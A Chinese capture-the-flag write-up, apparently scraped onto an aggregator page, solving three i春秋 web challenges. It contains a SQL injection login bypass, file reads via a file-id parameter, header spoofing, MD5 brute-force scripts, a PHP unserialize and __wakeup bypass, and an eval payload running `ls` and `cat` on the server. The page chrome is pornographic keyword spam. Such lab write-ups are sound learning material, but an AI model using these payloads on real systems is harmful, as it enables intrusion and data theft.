日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

I春秋——web Write up(三)

發布時間:2024/9/30 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 I春秋——web Write up(三) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:繼續總結,學習更多關于web知識和練習編寫腳本的能力。

GetFlag


一個登陸框加上驗證碼,不過有一點不同的是substr(md5(captcha), 0, 6)=e7e24a,截取MD5加密后驗證碼的前6位,而且需要等于后面的值(后面的值是變化的)

那就屬于MD5碰撞了,就模仿大師傅寫一個python腳本跑一下

import requests //requests庫是一個常用的用于http請求的模塊 import base64 import sys //該模塊提供對解釋器使用或維護的一些變量的訪問,以及與解釋器強烈交互的函數 import hashlib //主要提供 SHA1, SHA224, SHA256, SHA384, SHA512 ,MD5 算法def getMd5(index):for i in range(100000,100000000):x = imd5 = hashlib.md5(str(x).encode("utf8")).hexdigest()if md5[0:6] == index:return x; print(getMd5("e7e24a"))

得出驗證碼

觀察源碼,沒有發現什么線索,嘗試一下SQL注入

' or 1=1#


把文件下載下來

其中兩個txt文件沒有什么用處,有用的就是那一個php文件

flag is in the web root dir

這句話提示flag在web根目錄,抓包看看

發現并沒有什么線索,點擊超鏈接再抓包試試,發現GET處是文件id查詢的形式,所以這里應該就可以從這里查看到根目錄文件

改成flag.php沒用,但改成./flag.php有反應

以為這樣就可以得出flag,結果是我想多了,不管試多少個./././都無用,所以不能用目錄縮寫來跳過,只能輸入正確的根目錄

利用CONNECT請求方式,查看是什么服務器

Linux服務器,那就用常用的web根目錄試下

/var/www/html

輸入/var/www/html/flag.php什么也沒有顯示

試下/var/www/html/Challenges/flag.php發現有源碼出現(注釋是自己添加的)

這段代碼涉及了try...catch拋出異常,先執行try里面的語句,如果語句中有異常則執行catch語句,不過這段代碼較為容易,我們只需滿足$spaceone === 'flag'即可,所以通過POST方式構造

flag=flag; //加分號是因為eval() 函數把字符串按照 PHP 代碼來計算

即可得出flag

fuzzing


什么也沒有,抓包看看有什么線索吧

發現一句提示提示:IP,大型內部網絡,百度查詢大型內部網絡,A類IP地址都是用于大型網絡,在百度百科上查到使用范圍

偽造IP地址,修改X-Forwarded-For的值,修改過后,發現

打開看看有什么

show your key一開始到這里沒思路了,看了大師傅的博客才知道這里key是參數。。。,以為是像之前一樣的id爆破,結果不是。

那就改變請求方式,以POST方式請求

發現一句話

key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

這句話講的很清楚了,key后面的三位是從a-z或0-9選的,最后拼成MD5值為1b4167610ba3f2ac426a68488dbd89be

那就寫腳本來爆破吧

import hashlibmd5 = '1b4167610ba3f2ac426a68488dbd89be' s = 'abcdefghijklmnopqrstuvwxyz0123456789'for i in s:for j in s:for k in s:key = "ichunqiu"+i+j+kif(hashlib.md5(key.encode("utf8")).hexdigest() == md5):print(key)

得出key的值ichunqiu105

再次請求,發現一個xx00xxoo.php文件

訪問后得到一段文字

source code is in the x0.txt.Can you guess the key
the authcode(flag) is 06e16LKT9I7Lnahh402yiyttEdV1Bq9mMnFay+x7DDf+HUMY3/s7Ktyx5GUjCc/6zWsujs9wUp6ZPbt//yGWv7IlMaf/lAo

提示說源碼在x0.txt中,那就來查看一下

剛得到一臉懵,不會這么長的代碼吧,仔細觀察便發現代碼中并未包含有flag,而且這段代碼就是一個解密函數,再加上提示的
我們直接調用函數解密輸出即可f得出flag

echo authcode($string='5371AysJMuHkb9xTZSJegnyFbeNV5o5hqadMgEoJC6MH8KLmyr6Ys4ob4lLGkI5qcGo/WE1bGJ2IQnh6PMP7L2f1fqp8sLw',$operation = 'DECODE',$key = 'ichunqiu105');


這個題目。。。一開始還以為是模糊測試,結果不是。。。

Hash


進行抓包,看看有什么線索

發現一段話

you are 123;if you are not 123,you can get the flag
<!–hash=md5(hash=md5(hash=md5(sign.$key);the length of $sign is 8

hash的值是由8位的sign和key組成的,提示說只要不是123,就可以得到flag,那我們將key改為124,提交但是hash值不正確

所以我們需要先求出來sign的值,然后再和我們所設的124連在一起求MD5即可

在線MD5解一開始的hash值

還真查到了,一直以為需要寫腳本給跑出來,那sign的值便是kkkkkk01,結合124,在線MD5加密,提交即可

又得到一個線索,訪問一下,發現源碼

那接下來就來審計代碼

一個Demo類,有三個魔法函數,簡單介紹一下

__construct 在每次創建新對象時先調用此方法 __destruct 對象的所有引用都被刪除或者當對象被顯式銷毀時執行 __wakeup unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法

下面if語句判斷是否存在GET方式進入的var,如果滿足匹配的正則表達式,則回顯STOP,否則則進行反序列化,在反序列化之前,先調用__wakeup魔法函數,如果指向的file不是Gu3ss_m3_h2h2.php,則會強制指向Gu3ss_m3_h2h2.php

審計完代碼,思路也就很清晰了,提示說秘密在f15g_1s_here.php,根據這串代碼,我們需要將f15g_1s_here.php先序列化,最后讓源碼解開,其中還必須繞過正則表達式和__wakeup的檢查,才可以成功

模仿大師傅的腳本

<?php class Demo {private $file = 'Gu3ss_m3_h2h2.php';public function __construct($file) {$this->file = $file;}function __destruct() {echo @highlight_file($this->file, true);}function __wakeup() {if ($this->file != 'Gu3ss_m3_h2h2.php') {//the secret is in the f15g_1s_here.php$this->file = 'Gu3ss_m3_h2h2.php';}}}$a = new Demo('f15g_1s_here.php');$s = serialize($a);echo $s;echo '<br>';$s = str_replace('O:4', 'O:+4',$s);//繞過正則$s = str_replace(':1:', ':2:' ,$s);//繞過wakeup函數echo base64_encode($s);//最后base64編碼?>

簡單解釋一下$s = str_replace('O:4', 'O:+4',$s);能繞過正則表達式
因為在源碼中[oc]會任意匹配其中的一個字符,正則表達式中有模式修正符i,i 不區分(ignore)大小寫;例如: /abc/i 可以匹配 abc、aBC、Abc ',所以可以匹配到O,\d用來匹配數字,而我們構造O:+4則可以繞過這一匹配,從而讓匹配不成功,繞過正則

之所以$s = str_replace(':1:', ':2:' ,$s);能繞過wakeup函數,是因為當成員屬性數目大于實際數目時可繞過該函數

得出結果

直接在URL將base64編碼的值傳進去,又會發現一段源碼

有eval函數,但同時也有addslashes轉義函數,addslashes轉義函數會
轉義'和",所以只能用反引號 ` ,構造payload:

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`ls`;


查看flag即可

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

解釋一下${}、反引號,這里涉及到命令代換

shell執行命令并將命令替換部分替換為執行該命令后的結果(先執行該命令,然后用結果代換到命令行中)

反引號和${}者兩種命令的功能是相同的,在執行一條命令時,會將``或者${}中的語句當做命令執行以便,再把結果加入到原命令中重新執行

具體可以看大師傅的博客
命令代換

好了,這次就先總結到這里,又學到不少知識,下次繼續總結!

總結

以上是生活随笔為你收集整理的I春秋——web Write up(三)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 精品欧美久久 | 日本不卡网站 | 一级黄色性生活视频 | 黄色网址大全免费 | 国产卡一卡二 | 欧美有码在线观看 | 校园春色综合 | 丰满人妻av一区二区三区 | 美日韩三级 | 国产精品天美传媒 | 免费性情网站 | 国产精品人人爽 | 国产精品成人免费视频 | 爆乳熟妇一区二区三区霸乳 | 男人的天堂视频网站 | 国产免费的av| 日韩免费一区二区三区 | 日本一二三区视频 | 全黄性性激高免费视频 | 天天干天天狠 | 日韩无码电影 | 极品销魂美女少妇尤物 | 69精品人人 | 亚洲精品亚洲 | 亚洲天堂一区二区三区四区 | 国产波霸爆乳一区二区 | 小视频黄色 | 激情视频网址 | 久久高清免费 | 国产69久久精品成人看 | 真实偷拍激情啪啪对白 | 中文字幕一区二区三区乱码在线 | 91美女视频在线观看 | 国产aaa大片 | 天堂亚洲精品 | 正在播放一区二区 | 奇米影视在线播放 | 丁香免费视频 | 杨幂毛片午夜性生毛片 | 成人午夜sm精品久久久久久久 | 亚洲爽片 | 米奇久久 | 超碰超碰97 | 婷婷狠狠干 | 青春草免费视频 | 久久综合成人网 | 精品人妻无码中文字幕18禁 | 伊人免费在线 | 国产在线精品播放 | 亚洲少妇30p| 视频在线观看网站免费 | 成人手机在线免费视频 | 欧美激情国产精品 | 少妇无套内谢免费视频 | 中国极品少妇videossexhd 就要干就要操 | 国产女优在线播放 | wwwxxx在线 | 国产成人午夜视频 | 成人在线播放网站 | 欧美成人91 | 成人午夜性视频 | 国偷自拍 | 国产99久一区二区三区a片 | 亚洲五码在线 | 人妻无码中文字幕免费视频蜜桃 | 伊人论坛| 国产精品第十页 | 欧美精品一区二区三区视频 | 色丁香在线 | 五月天导航 | 日本精品视频一区二区 | 91精品国产一区二区无码 | 91精品视频网 | 国产精品久久一区二区三区动 | 国产精品卡一卡二 | 伊人久久大香线蕉成人综合网 | 国产一级爱c视频 | 亚洲激情av在线 | 成人77777 | 日日日噜噜噜 | 人妻体内射精一区二区 | 亚洲熟乱 | 国产精品精品国产色婷婷 | 欧美日韩高清在线 | 欧美人妻少妇一区二区三区 | 女优一区 | japanese21ⅹxx日本| 精品无码免费视频 | 性一交一乱一色一视频麻豆 | 91中文字幕在线观看 | 天天干天天操天天碰 | 天天夜夜骑 | 久久久久久蜜桃 | 色噜av | 欧美巨鞭大战丰满少妇 | 国产男女视频 | 色妹av | 亚洲综合图 | 国产熟女一区二区三区四区 |